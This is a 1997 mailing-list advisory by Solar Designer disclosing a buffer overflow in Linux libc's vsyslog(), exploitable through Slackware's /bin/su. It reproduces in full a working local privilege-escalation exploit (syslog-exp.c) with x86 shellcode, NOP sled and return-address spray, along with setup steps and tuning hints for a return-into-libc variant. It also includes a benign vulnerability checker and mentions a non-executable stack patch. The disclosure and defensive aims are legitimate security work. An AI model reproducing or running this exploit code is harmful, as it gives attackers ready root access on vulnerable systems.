Linux vsyslog() overflow

Solar Designer (solar@FALSE.COM)
Sun, 21 Dec 1997 00:43:54 -0300

Hello,

This vulnerability is already fixed in libc 5.4.38, but doesn't seem to be
widely known, and a lot of people are still running vulnerable versions of
libc. Thanks to Jon Lewis for recovering the exploit erased by an intruder.

The buffer overflow is in vsyslog(), by the ident string previously set with
openlog(). It is exploitable via some versions of /bin/su (for example, the
version that comes with Slackware 3.1), and possibly some other privileged
processes that use user-supplied data in ident for openlog() -- could even
be a daemon setting the ident to something like "daemon: username" (I don't
know of any such examples though).

I have verified this is exploitable in libc 5.4.23 and RedHat's 5.3.12-18
that comes with RH 4.2, but is fixed in 5.4.38. It can't be exploited via
/bin/su on standard RedHat setup though.

Actually, the behavior of Slackware's /bin/su is quite stupid anyway:

sunny:/tmp$ ln -s /bin/su kernel
sunny:/tmp$ export PATH=.:$PATH
sunny:/tmp$ kernel
Password:
sunny:/tmp# tail -1 /var/log/messages
Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1

No real security hole here, but this shows it was a stupid thing to use
argv[0] for openlog().

Here goes the original exploit, the author changed the shellcode to run
_bin_sh since /bin/su uses basename(argv[0]) as ident, and using '/' in
the shellcode is not possible. You have to link _bin_sh to /bin/sh and
make sure you have "." in your path before running the exploit.

--- syslog-exp.c ---

/*
vsyslog()/openlog() exploit by BiT - 8/8 1997
Greets to: doodle, skaut, melon, kweiheri etc.
*/

#include <stdlib.h>
#include <unistd.h>

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

void main(int argc, char **argv)
{
unsigned char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
char *buf,*p;
unsigned long *adr;
int i;
if((p=buf=malloc(2028+28)) == NULL)
exit(-1);
memset(p,0x90,2028);
p+=2028-strlen(shell);
for(i=0;i<strlen(shell);i++)
*p++=shell[i];
adr=(long *)p;
for(i=0;i<7;i++)
*adr++=get_esp();
p=(char *)adr;
*p=0;
execl("/bin/su",buf,NULL);
}

--- syslog-exp.c ---

You can also take my generic return-into-libc exploit (the lpr example),
set SIZE=2100, ALIGNMENT=12, edit the execl() -- and it works just fine,
without a problem with shellcode since there's none.

Since you should fix the vulnerability regardless if it's exploitable via
your version of /bin/su or not, here's a tiny program for checking if your
libc is vulnerable. If this segfaults, you're vulnerable.

--- syslog-check.c ---

#include <syslog.h>

int main()
{
char ident[4096];

memset(ident, 'x', sizeof(ident));
ident[sizeof(ident) - 1] = 0;

openlog(ident, 0, LOG_AUTHPRIV);
syslog(LOG_NOTICE, "message");

return 0;
}

--- syslog-check.c ---

P.S. There's a new version of my non-executable stack patch available at
http://www.false.com/security/linux-stack/ -- the Linux 2.0.33 version
got improved trampoline support (an extra kernel configuration option)
for running with glibc (RedHat 5.0).

Signed,
Solar Designer